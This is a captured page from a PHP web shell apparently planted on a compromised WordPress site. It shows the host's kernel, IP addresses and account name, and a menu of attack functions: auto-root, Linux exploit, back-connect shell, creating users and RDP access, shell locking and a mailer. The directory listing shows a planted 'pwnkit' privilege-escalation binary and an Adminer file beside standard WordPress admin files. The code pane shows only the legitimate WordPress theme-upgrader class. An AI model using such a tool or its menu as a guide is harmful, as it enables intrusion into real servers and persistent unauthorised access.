Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
adrar.info /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
91
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
admin-filters.php
6.47
KB
-rw-r--r--
admin.php
2.93
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ajax-actions.php
129.92
KB
-rw-r--r--
bookmark.php
9.03
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.07
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
2.01
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
2.04
KB
-rw-r--r--
class-bulk-upgrader-skin.php
5.18
KB
-rw-r--r--
class-core-upgrader.php
13.4
KB
-rw-r--r--
class-file-upload-upgrader.php
3.29
KB
-rw-r--r--
class-ftp-pure.php
5.27
KB
-rw-r--r--
class-ftp-sockets.php
8.25
KB
-rw-r--r--
class-ftp.php
26.47
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.31
KB
-rw-r--r--
class-language-pack-upgrader.p...
14.38
KB
-rw-r--r--
class-pclzip.php
191.21
KB
-rw-r--r--
class-plugin-installer-skin.ph...
4.35
KB
-rw-r--r--
class-plugin-upgrader-skin.php
2.62
KB
-rw-r--r--
class-plugin-upgrader.php
14.83
KB
-rw-r--r--
class-theme-installer-skin.php
4.33
KB
-rw-r--r--
class-theme-upgrader-skin.php
3.75
KB
-rw-r--r--
class-theme-upgrader.php
19.81
KB
-rw-r--r--
class-walker-category-checklis...
4.16
KB
-rw-r--r--
class-walker-nav-menu-checklis...
4.9
KB
-rw-r--r--
class-walker-nav-menu-edit.php
11.41
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
2.97
KB
-rw-r--r--
class-wp-automatic-updater.php
34.74
KB
-rw-r--r--
class-wp-comments-list-table.p...
26.59
KB
-rw-r--r--
class-wp-community-events.php
15.58
KB
-rw-r--r--
class-wp-filesystem-base.php
21.98
KB
-rw-r--r--
class-wp-filesystem-direct.php
12.72
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
13.65
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
10.62
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
15.07
KB
-rw-r--r--
class-wp-importer.php
7.35
KB
-rw-r--r--
class-wp-internal-pointers.php
5.38
KB
-rw-r--r--
class-wp-links-list-table.php
7.57
KB
-rw-r--r--
class-wp-list-table-compat.php
1.05
KB
-rw-r--r--
class-wp-list-table.php
37.14
KB
-rw-r--r--
class-wp-media-list-table.php
22.37
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
15.48
KB
-rw-r--r--
class-wp-ms-themes-list-table....
21.38
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
14.09
KB
-rw-r--r--
class-wp-plugin-install-list-t...
21.98
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
33.03
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.44
KB
-rw-r--r--
class-wp-posts-list-table.php
53.31
KB
-rw-r--r--
class-wp-screen.php
34.3
KB
-rw-r--r--
class-wp-site-icon.php
5.98
KB
-rw-r--r--
class-wp-terms-list-table.php
17.94
KB
-rw-r--r--
class-wp-theme-install-list-ta...
14.88
KB
-rw-r--r--
class-wp-themes-list-table.php
9.22
KB
-rw-r--r--
class-wp-upgrader-skin.php
5.04
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.42
KB
-rw-r--r--
class-wp-upgrader.php
33.78
KB
-rw-r--r--
class-wp-users-list-table.php
17.13
KB
-rw-r--r--
comment.php
5.92
KB
-rw-r--r--
continents-cities.php
20.26
KB
-rw-r--r--
dashboard.php
60.24
KB
-rw-r--r--
deprecated.php
38.25
KB
-rw-r--r--
edit-tag-messages.php
1.38
KB
-rw-r--r--
export.php
22.86
KB
-rw-r--r--
file.php
82.93
KB
-rw-r--r--
image-edit.php
33.89
KB
-rw-r--r--
image.php
22.37
KB
-rw-r--r--
import.php
6.54
KB
-rw-r--r--
list-table.php
2.71
KB
-rw-r--r--
media.php
106.93
KB
-rw-r--r--
menu.php
8.9
KB
-rw-r--r--
meta-boxes.php
61.06
KB
-rw-r--r--
misc.php
72.07
KB
-rw-r--r--
ms-admin-filters.php
1.34
KB
-rw-r--r--
ms-deprecated.php
2.79
KB
-rw-r--r--
nav-menu.php
43.28
KB
-rw-r--r--
network.php
23.58
KB
-rw-r--r--
noop.php
1.2
KB
-rw-r--r--
options.php
3.75
KB
-rw-r--r--
plugin-install.php
32.8
KB
-rw-r--r--
plugin.php
70.81
KB
-rw-r--r--
post.php
72.67
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
revision.php
15.3
KB
-rw-r--r--
schema.php
41.95
KB
-rw-r--r--
screen.php
6.07
KB
-rw-r--r--
taxonomy.php
7.73
KB
-rw-r--r--
template.php
85.89
KB
-rw-r--r--
theme-install.php
6.41
KB
-rw-r--r--
theme.php
29.07
KB
-rw-r--r--
translation-install.php
8.41
KB
-rw-r--r--
update-core.php
55.87
KB
-rw-r--r--
update.php
25.53
KB
-rw-r--r--
upgrade.php
99.35
KB
-rw-r--r--
user.php
50.9
KB
-rw-r--r--
widgets.php
10.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-theme-upgrader.php
<?php /** * Upgrade API: Theme_Upgrader class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Core class used for upgrading/installing themes. * * It is designed to upgrade/install themes from a local zip, remote zip URL, * or uploaded zip file. * * @since 2.8.0 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php. * * @see WP_Upgrader */ class Theme_Upgrader extends WP_Upgrader { /** * Result of the theme upgrade offer. * * @since 2.8.0 * @var array|WP_Error $result * @see WP_Upgrader::$result */ public $result; /** * Whether multiple themes are being upgraded/installed in bulk. * * @since 2.9.0 * @var bool $bulk */ public $bulk = false; /** * Initialize the upgrade strings. * * @since 2.8.0 */ public function upgrade_strings() { $this->strings['up_to_date'] = __( 'The theme is at the latest version.' ); $this->strings['no_package'] = __( 'Update package not available.' ); /* translators: %s: package URL */ $this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s…' ), '<span class="code">%s</span>' ); $this->strings['unpack_package'] = __( 'Unpacking the update…' ); $this->strings['remove_old'] = __( 'Removing the old version of the theme…' ); $this->strings['remove_old_failed'] = __( 'Could not remove the old theme.' ); $this->strings['process_failed'] = __( 'Theme update failed.' ); $this->strings['process_success'] = __( 'Theme updated successfully.' ); } /** * Initialize the installation strings. * * @since 2.8.0 */ public function install_strings() { $this->strings['no_package'] = __( 'Installation package not available.' ); /* translators: %s: package URL */ $this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s…' ), '<span class="code">%s</span>' ); $this->strings['unpack_package'] = __( 'Unpacking the package…' ); $this->strings['installing_package'] = __( 'Installing the theme…' ); $this->strings['no_files'] = __( 'The theme contains no files.' ); $this->strings['process_failed'] = __( 'Theme installation failed.' ); $this->strings['process_success'] = __( 'Theme installed successfully.' ); /* translators: 1: theme name, 2: version */ $this->strings['process_success_specific'] = __( 'Successfully installed the theme <strong>%1$s %2$s</strong>.' ); $this->strings['parent_theme_search'] = __( 'This theme requires a parent theme. Checking if it is installed…' ); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_prepare_install'] = __( 'Preparing to install <strong>%1$s %2$s</strong>…' ); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_currently_installed'] = __( 'The parent theme, <strong>%1$s %2$s</strong>, is currently installed.' ); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_install_success'] = __( 'Successfully installed the parent theme, <strong>%1$s %2$s</strong>.' ); /* translators: %s: theme name */ $this->strings['parent_theme_not_found'] = sprintf( __( '<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme.' ), '<strong>%s</strong>' ); } /** * Check if a child theme is being installed and we need to install its parent. * * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::install(). * * @since 3.4.0 * * @param bool $install_result * @param array $hook_extra * @param array $child_result * @return type */ public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) { // Check to see if we need to install a parent theme $theme_info = $this->theme_info(); if ( ! $theme_info->parent() ) { return $install_result; } $this->skin->feedback( 'parent_theme_search' ); if ( ! $theme_info->parent()->errors() ) { $this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display( 'Name' ), $theme_info->parent()->display( 'Version' ) ); // We already have the theme, fall through. return $install_result; } // We don't have the parent theme, let's install it. $api = themes_api( 'theme_information', array( 'slug' => $theme_info->get( 'Template' ), 'fields' => array( 'sections' => false, 'tags' => false, ), ) ); //Save on a bit of bandwidth. if ( ! $api || is_wp_error( $api ) ) { $this->skin->feedback( 'parent_theme_not_found', $theme_info->get( 'Template' ) ); // Don't show activate or preview actions after installation add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) ); return $install_result; } // Backup required data we're going to override: $child_api = $this->skin->api; $child_success_message = $this->strings['process_success']; // Override them $this->skin->api = $api; $this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];//, $api->name, $api->version); $this->skin->feedback( 'parent_theme_prepare_install', $api->name, $api->version ); add_filter( 'install_theme_complete_actions', '__return_false', 999 ); // Don't show any actions after installing the theme. // Install the parent theme $parent_result = $this->run( array( 'package' => $api->download_link, 'destination' => get_theme_root(), 'clear_destination' => false, //Do not overwrite files. 'clear_working' => true, ) ); if ( is_wp_error( $parent_result ) ) { add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) ); } // Start cleaning up after the parents installation remove_filter( 'install_theme_complete_actions', '__return_false', 999 ); // Reset child's result and data $this->result = $child_result; $this->skin->api = $child_api; $this->strings['process_success'] = $child_success_message; return $install_result; } /** * Don't display the activate and preview actions to the user. * * Hooked to the {@see 'install_theme_complete_actions'} filter by * Theme_Upgrader::check_parent_theme_filter() when installing * a child theme and installing the parent theme fails. * * @since 3.4.0 * * @param array $actions Preview actions. * @return array */ public function hide_activate_preview_actions( $actions ) { unset( $actions['activate'], $actions['preview'] ); return $actions; } /** * Install a theme package. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional. * * @param string $package The full local path or URI of the package. * @param array $args { * Optional. Other arguments for installing a theme package. Default empty array. * * @type bool $clear_update_cache Whether to clear the updates cache if successful. * Default true. * } * * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise. */ public function install( $package, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->install_strings(); add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); add_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ), 10, 3 ); if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_themes() knows about the new theme. add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 ); } $this->run( array( 'package' => $package, 'destination' => get_theme_root(), 'clear_destination' => false, //Do not overwrite files. 'clear_working' => true, 'hook_extra' => array( 'type' => 'theme', 'action' => 'install', ), ) ); remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 ); remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); remove_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } // Refresh the Theme Update information wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); return true; } /** * Upgrade a theme. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional. * * @param string $theme The theme slug. * @param array $args { * Optional. Other arguments for upgrading a theme. Default empty array. * * @type bool $clear_update_cache Whether to clear the update cache if successful. * Default true. * } * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise. */ public function upgrade( $theme, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); // Is an update available? $current = get_site_transient( 'update_themes' ); if ( ! isset( $current->response[ $theme ] ) ) { $this->skin->before(); $this->skin->set_result( false ); $this->skin->error( 'up_to_date' ); $this->skin->after(); return false; } $r = $current->response[ $theme ]; add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 ); add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 ); if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_themes() knows about the new theme. add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 ); } $this->run( array( 'package' => $r['package'], 'destination' => get_theme_root( $theme ), 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'theme' => $theme, 'type' => 'theme', 'action' => 'update', ), ) ); remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 ); remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) ); remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) ); remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); return true; } /** * Upgrade several themes at once. * * @since 3.0.0 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional. * * @param string[] $themes Array of the theme slugs. * @param array $args { * Optional. Other arguments for upgrading several themes at once. Default empty array. * * @type bool $clear_update_cache Whether to clear the update cache if successful. * Default true. * } * @return array[]|false An array of results, or false if unable to connect to the filesystem. */ public function bulk_upgrade( $themes, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->upgrade_strings(); $current = get_site_transient( 'update_themes' ); add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 ); add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 ); $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); // Only start maintenance mode if: // - running Multisite and there are one or more themes specified, OR // - a theme with an update available is currently in use. // @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. $maintenance = ( is_multisite() && ! empty( $themes ) ); foreach ( $themes as $theme ) { $maintenance = $maintenance || $theme == get_stylesheet() || $theme == get_template(); } if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $themes ); $this->update_current = 0; foreach ( $themes as $theme ) { $this->update_current++; $this->skin->theme_info = $this->theme_info( $theme ); if ( ! isset( $current->response[ $theme ] ) ) { $this->skin->set_result( true ); $this->skin->before(); $this->skin->feedback( 'up_to_date' ); $this->skin->after(); $results[ $theme ] = true; continue; } // Get the URL to the zip file $r = $current->response[ $theme ]; $result = $this->run( array( 'package' => $r['package'], 'destination' => get_theme_root( $theme ), 'clear_destination' => true, 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'theme' => $theme, ), ) ); $results[ $theme ] = $this->result; // Prevent credentials auth screen from displaying multiple times if ( false === $result ) { break; } } //end foreach $plugins $this->maintenance_mode( false ); // Refresh the Theme Update information wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'theme', 'bulk' => true, 'themes' => $themes, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) ); remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) ); remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) ); return $results; } /** * Check that the package source contains a valid theme. * * Hooked to the {@see 'upgrader_source_selection'} filter by Theme_Upgrader::install(). * It will return an error if the theme doesn't have style.css or index.php * files. * * @since 3.3.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param string $source The full path to the package source. * @return string|WP_Error The source or a WP_Error. */ public function check_package( $source ) { global $wp_filesystem; if ( is_wp_error( $source ) ) { return $source; } // Check the folder contains a valid theme $working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source ); if ( ! is_dir( $working_directory ) ) { // Sanity check, if the above fails, let's not prevent installation. return $source; } // A proper archive should have a style.css file in the single subdirectory if ( ! file_exists( $working_directory . 'style.css' ) ) { return new WP_Error( 'incompatible_archive_theme_no_style', $this->strings['incompatible_archive'], sprintf( /* translators: %s: style.css */ __( 'The theme is missing the %s stylesheet.' ), '<code>style.css</code>' ) ); } $info = get_file_data( $working_directory . 'style.css', array( 'Name' => 'Theme Name', 'Template' => 'Template', ) ); if ( empty( $info['Name'] ) ) { return new WP_Error( 'incompatible_archive_theme_no_name', $this->strings['incompatible_archive'], sprintf( /* translators: %s: style.css */ __( 'The %s stylesheet doesn’t contain a valid theme header.' ), '<code>style.css</code>' ) ); } // If it's not a child theme, it must have at least an index.php to be legit. if ( empty( $info['Template'] ) && ! file_exists( $working_directory . 'index.php' ) ) { return new WP_Error( 'incompatible_archive_theme_no_index', $this->strings['incompatible_archive'], sprintf( /* translators: %s: index.php */ __( 'The theme is missing the %s file.' ), '<code>index.php</code>' ) ); } return $source; } /** * Turn on maintenance mode before attempting to upgrade the current theme. * * Hooked to the {@see 'upgrader_pre_install'} filter by Theme_Upgrader::upgrade() and * Theme_Upgrader::bulk_upgrade(). * * @since 2.8.0 * * @param bool|WP_Error $return * @param array $theme * @return bool|WP_Error */ public function current_before( $return, $theme ) { if ( is_wp_error( $return ) ) { return $return; } $theme = isset( $theme['theme'] ) ? $theme['theme'] : ''; if ( $theme != get_stylesheet() ) { //If not current return $return; } //Change to maintenance mode now. if ( ! $this->bulk ) { $this->maintenance_mode( true ); } return $return; } /** * Turn off maintenance mode after upgrading the current theme. * * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::upgrade() * and Theme_Upgrader::bulk_upgrade(). * * @since 2.8.0 * * @param bool|WP_Error $return * @param array $theme * @return bool|WP_Error */ public function current_after( $return, $theme ) { if ( is_wp_error( $return ) ) { return $return; } $theme = isset( $theme['theme'] ) ? $theme['theme'] : ''; if ( $theme != get_stylesheet() ) { // If not current return $return; } // Ensure stylesheet name hasn't changed after the upgrade: if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) { wp_clean_themes_cache(); $stylesheet = $this->result['destination_name']; switch_theme( $stylesheet ); } //Time to remove maintenance mode if ( ! $this->bulk ) { $this->maintenance_mode( false ); } return $return; } /** * Delete the old theme during an upgrade. * * Hooked to the {@see 'upgrader_clear_destination'} filter by Theme_Upgrader::upgrade() * and Theme_Upgrader::bulk_upgrade(). * * @since 2.8.0 * * @global WP_Filesystem_Base $wp_filesystem Subclass * * @param bool $removed * @param string $local_destination * @param string $remote_destination * @param array $theme * @return bool */ public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) { global $wp_filesystem; if ( is_wp_error( $removed ) ) { return $removed; // Pass errors through. } if ( ! isset( $theme['theme'] ) ) { return $removed; } $theme = $theme['theme']; $themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) ); if ( $wp_filesystem->exists( $themes_dir . $theme ) ) { if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) ) { return false; } } return true; } /** * Get the WP_Theme object for a theme. * * @since 2.8.0 * @since 3.0.0 The `$theme` argument was added. * * @param string $theme The directory name of the theme. This is optional, and if not supplied, * the directory name from the last result will be used. * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied * and the last result isn't set. */ public function theme_info( $theme = null ) { if ( empty( $theme ) ) { if ( ! empty( $this->result['destination_name'] ) ) { $theme = $this->result['destination_name']; } else { return false; } } return wp_get_theme( $theme ); } }
Close